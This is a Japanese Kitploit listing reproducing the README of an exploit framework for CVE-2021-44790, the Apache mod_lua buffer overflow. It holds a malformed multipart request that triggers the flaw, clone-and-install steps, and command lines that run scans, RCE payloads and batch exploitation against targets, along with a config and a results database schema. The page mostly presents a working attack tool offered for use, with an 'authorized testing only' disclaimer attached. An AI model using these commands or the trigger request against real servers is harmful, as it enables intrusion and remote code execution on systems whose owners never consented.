Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790 — Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna. | Kitploit
ツール/GitHubGitHub/cerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790
Web Vulnerability ScannersExploit FrameworksExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790

Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →

概要

Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.

リポジトリを見る
113日前未レビュー
共有

🔥 CVE-2021-44790 - Apache mod_lua バッファオーバーフローエクスプロイト

Version Python License CVE Apache CVSS Author


📋 概要

Apache mod_lua バッファオーバーフローエクスプロイトは、Apache HTTP Server 2.4.x の mod_lua モジュールに存在する重大なバッファオーバーフロー脆弱性 CVE-2021-44790 を対象とした、高度なエンタープライズグレードのエクスプロイトプラットフォームです。このフレームワークは、包括的なフィンガープリンティング、インテリジェントなスクリプト発見、マルチステージスキャン、プロフェッショナルなレポート機能を備え、95%以上の信頼度で検出します。

⚡ 主な機能


🎯 脆弱性の詳細

技術的説明

この脆弱性は、mod_lua モジュールが multipart/form-data リクエストを処理する際に存在します。lua_request_parsebody() 関数の整数アンダーフローにより、ヒープベースのバッファオーバーフローが発生し、リモートコード実行につながる可能性があります。

root@kitploit:~
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4

4
Content-Disposition: form-data; name="name"

0
4

📸 スクリーンショット

メインインターフェースフィンガープリント結果

🚀 クイックスタート

インストール

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

基本的な使用方法

root@kitploit:~
# Quick vulnerability scan
python3 exploit.py http://target.com

# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose

# Generate all reports
python3 exploit.py http://target.com --report all

# Research mode with database
python3 exploit.py http://target.com --research

📋 詳細な使用方法

コマンドラインオプション

root@kitploit:~
python3 exploit.py [TARGET] [OPTIONS]

使用例

1. 基本的な脆弱性評価

root@kitploit:~
python3 exploit.py https://example.com --verbose --report all

2. 企業環境スキャン

root@kitploit:~
python3 exploit.py https://internal-server.com \
    --proxy http://proxy.corp.com:8080 \
    --threads 10 \
    --timeout 15 \
    --verbose \
    --report all \
    --output /var/log/security/

3. 本格的なペネトレーションテスト

root@kitploit:~
python3 exploit.py https://client.com \
    --threads 30 \
    --timeout 10 \
    --exploit \
    --all-payloads \
    --report all \
    --screenshot \
    --research \
    --verbose \
    --output /pentest/client_name/

4. バッチスキャン

root@kitploit:~
python3 exploit.py --batch targets.txt --config config.yaml

5. データベースクエリ

root@kitploit:~
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"

# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"

⚙️ 設定

config.yaml

root@kitploit:~
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------

# Scan Settings
threads: 20                    # Concurrent threads
timeout: 10                    # Request timeout in seconds
retries: 3                     # Number of retry attempts
rate_limit: 10                 # Requests per second
max_depth: 3                   # Directory traversal depth
follow_redirects: true         # Follow HTTP redirects
verify_ssl: false              # Verify SSL certificates

# Network Settings
proxy: null                    # Proxy URL
http2: true                    # Enable HTTP/2 support
user_agent: random             # User-Agent (random/specific)
save_packets: false            # Save raw network packets

# Analysis Settings
research_mode: true            # Enable research database
verbose: false                 # Verbose output
scan_only: false               # Scan without exploitation
exploit: false                 # Enable exploitation
all_payloads: false            # Use all payloads

# Payload Settings
payloads:
  detection: true
  memory: true
  rce: true
  dos: false

# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports

# Database Settings
database_path: luastorm.db
database_retention: 365

# Directory Settings
logs_dir: logs
screenshots_dir: screenshots

📊 レポート

HTMLダッシュボード

  • インタラクティブなチャートとテーブル
  • ターゲットのフィンガープリントの可視化
  • スクリプト発見の概要
  • ペイロード実行のタイムライン
  • 脆弱性評価
  • リスクスコアリング

JSONレポート

root@kitploit:~
{
  "scan_id": "a1b2c3d4",
  "target": {
    "url": "https://example.com",
    "hostname": "example.com",
    "port": 443
  },
  "vulnerable": true,
  "risk_level": "Critical",
  "scan_duration": 45.23,
  "timestamp": "2026-08-04T15:45:23"
}

Markdownレポート

  • 人間が読みやすいドキュメント
  • テーブル形式のデータ
  • 共有・埋め込みが容易
  • バージョン管理に適する

🗄️ データベーススキーマ

root@kitploit:~
-- Targets table
CREATE TABLE targets (
    id INTEGER PRIMARY KEY,
    scan_id TEXT UNIQUE,
    url TEXT,
    hostname TEXT,
    ip TEXT,
    port INTEGER,
    protocol TEXT,
    apache_version TEXT,
    lua_version TEXT,
    os TEXT,
    architecture TEXT,
    waf TEXT,
    cdn TEXT,
    vulnerable INTEGER,
    risk_level TEXT,
    scan_date TEXT,
    duration REAL
);

-- Scripts table
CREATE TABLE scripts (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    path TEXT,
    method TEXT,
    status_code INTEGER,
    content_type TEXT,
    response_time REAL,
    vulnerable INTEGER
);

-- Payloads table
CREATE TABLE payloads (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    script_id INTEGER,
    payload_name TEXT,
    payload_type TEXT,
    success INTEGER,
    response_time REAL,
    indicators TEXT,
    error TEXT
);

🔧 プラグインシステム

プラグインの作成

root@kitploit:~
# plugins/my_plugin.py
class MyPlugin:
    plugin_name = "my_plugin"
    plugin_version = "1.0"
    plugin_author = "Your Name"
    
    def __init__(self, config):
        self.config = config
    
    def execute(self, target_info):
        """Execute plugin logic"""
        return {
            'status': 'success',
            'message': 'Plugin executed',
            'data': {'target': target_info.url}
        }

🛡️ セキュリティに関する考慮事項

  • 許可された使用のみ: このツールは許可されたセキュリティテスト専用です
  • 法的コンプライアンス: テスト前に必ず許可を得てください
  • 責任ある開示: 脆弱性は責任を持って報告してください
  • データ保護: すべての機密データはローカルに保存されます

⚠️ 免責事項

root@kitploit:~
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.

By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes

📈 パフォーマンス指標


🗺️ ロードマップ

バージョン2.1(予定)

  • 追加のCVEサポート
  • Web UIインターフェース
  • Dockerコンテナ化
  • CI/CDパイプライン
  • より多くのペイロードバリアント

バージョン2.2(将来)

  • 機械学習の統合
  • 自動エクスプロイト
  • クラウドベースのスキャン
  • チームコラボレーション機能
  • 高度な回避技術

🤝 コントリビューション

コントリビューションを歓迎します!以下のガイドラインに従ってください:

  1. リポジトリをフォークする
  2. 機能ブランチを作成する
  3. 変更を加える
  4. プルリクエストを送信する

開発環境のセットアップ

root@kitploit:~
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install development dependencies
pip install -r requirements-dev.txt

# Run tests
python -m pytest tests/

👨‍💻 作者

Sudeepa Wanigarathna

  • セキュリティリサーチャー&エシカルハッカー
  • GitHub: @CerberusMrXi
  • 専門分野: 脆弱性研究&エクスプロイト開発

📄 ライセンス

教育および許可されたテスト目的のみ

本ソフトウェアは、明示的または黙示的を問わず、いかなる種類の保証もなく「現状のまま」提供されます。


⭐ このリポジトリにスターを付けてプロジェクトを支援してください!

💡 バグを発見しましたか? Issueを開く

📧 連絡先: [email protected]


セキュリティコミュニティのために❤️を込めて

ツールをダウンロード
機能説明
🔍 高度なフィンガープリンティングApacheバージョン、mod_lua、OS、アーキテクチャ、WAF、CDN、コンテナ、クラウドプロバイダーの検出
🎯 インテリジェントな発見robots.txt、sitemap、HTML解析、JavaScript抽出など7種類以上の発見手法
💥 マルチステージスキャン接続 → フィンガープリント → 発見 → 検証 → エクスプロイト → レポート
🧩 拡張可能なプラグインシステム将来のCVEに対応するための簡単なプラグイン開発
🌐 スマートHTTPエンジン接続プール、リトライ、HTTP/2サポート、レート制限
📊 包括的なレポートインタラクティブなダッシュボード付きのJSON、HTML、Markdown、PDF
🎨 美しいターミナルUIプログレスバー、テーブル、色分け出力を備えたRichライブラリ
💾 リサーチデータベース完全なスキャン履歴とクエリサポートを備えたSQLiteストレージ
📸 スクリーンショット取得証拠収集のためのWebページの自動スクリーンショット
🚀 高性能20以上の同時スレッド、100以上の接続プール
属性値
CVE IDCVE-2021-44790
脆弱性バッファオーバーフロー(整数アンダーフロー)
影響を受けるソフトウェアApache HTTP Server 2.4.0 ~ 2.4.51
修正バージョンApache HTTP Server 2.4.52以降
コンポーネントmod_lua モジュール
攻撃ベクトルネットワーク(リモート)
CVSSスコア9.8(緊急)
機密性への影響高
完全性への影響高
可用性への影響高
エクスプロイトの成熟度概念実証(PoC)利用可能
スキャン進行状況HTMLレポートダッシュボード
オプション説明例
TARGETターゲットURLhttp://target.com
--config FILE設定ファイル--config config.yaml
--threads Nスレッド数--threads 30
--timeout Nリクエストタイムアウト(秒)--timeout 15
--proxy URLプロキシURL--proxy http://127.0.0.1:8080
--verbose詳細出力--verbose
--scan-onlyエクスプロイトなしでスキャンのみ実行--scan-only
--exploitエクスプロイトを有効化--exploit
--all-payloadsすべてのペイロードを使用--all-payloads
--report FORMATレポート形式(json/html/markdown/all)--report all
--output DIR出力ディレクトリ--output /path/to/reports/
--researchリサーチモードを有効化--research
--database FILEデータベースパス--database luastorm.db
--screenshotスクリーンショットを撮影--screenshot
--batch FILEターゲットを含むバッチファイル--batch targets.txt
--query SQLデータベースクエリを実行--query "SELECT * FROM targets"
機能パフォーマンス
フィンガープリンティング2秒未満
スクリプト発見5〜10秒
ペイロードテストペイロードあたり1〜5秒
レポート生成1秒未満
データベース操作100ms未満
同時スレッド20以上
接続プール100以上